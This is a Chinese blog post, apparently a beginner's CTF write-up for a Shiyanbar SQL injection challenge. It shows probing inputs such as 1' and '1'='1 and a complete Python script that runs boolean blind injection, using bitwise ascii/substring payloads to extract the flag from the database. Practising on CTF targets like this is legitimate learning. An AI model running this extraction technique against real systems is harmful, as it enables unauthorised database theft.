6.简单sql注入之3

发布时间:2019-09-02 07:42:39编辑:auto阅读(1604)

    进去输入1观察发现:

        wKioL1lovzLgSL2-AABHlqiHUio047.png-wh_50

        2,3都只有一个结果Hello!,我们输入4观察一下

        发现空白,于是输入sql注入语句:1' and '1'='1

        wKiom1lov8qw4mAOAABJGHwEveo306.png-wh_50

        没有报错,也有显示Hello!于是判断出,该题目没有过滤,只能用基于Hello!回显的sql注入

        猜测数据库,数据表,字段这些我就不浪费时间写了,有想要了解的道友,可以自行百度,或留言交流,我这里直接写爆破flag表flag字段的代码就好了


    代码如下:

    #!/usr/bin/python
    #coding=utf-8
    #Author = One
    
    import requests
    
    def main():
        n = 0
        binary = ""
        flag = ""
        for i in range(1,1000):
            for j in range(8):
                url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and 1=if((ascii(substring((select flag from flag),"+str(i)+",1))%26"+str(2**j)+")="+str(2**j)+",1,0) %23"
                request = requests.get(url)
                if(request.text.find('Hello!') != -1):
                    binary = '1'+binary
                    n = 0
                else:
                    binary = '0'+binary
                    n += 1
            print chr(int(binary,2)),
            flag += chr(int(binary,2))
            binary = ""
            if(n >= 8):
                print "\n"+flag
                break
            
    if __name__ == '__main__':
        main()
    #上述代码使用的是按位与方法,比普通循环遍历所有可能字符要快,比较8次必得一个字符结果

    即可爆破出结果:

        wKioL1lo0NuyMn-cAAANYKFAzK0484.png-wh_50

    本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!

关键字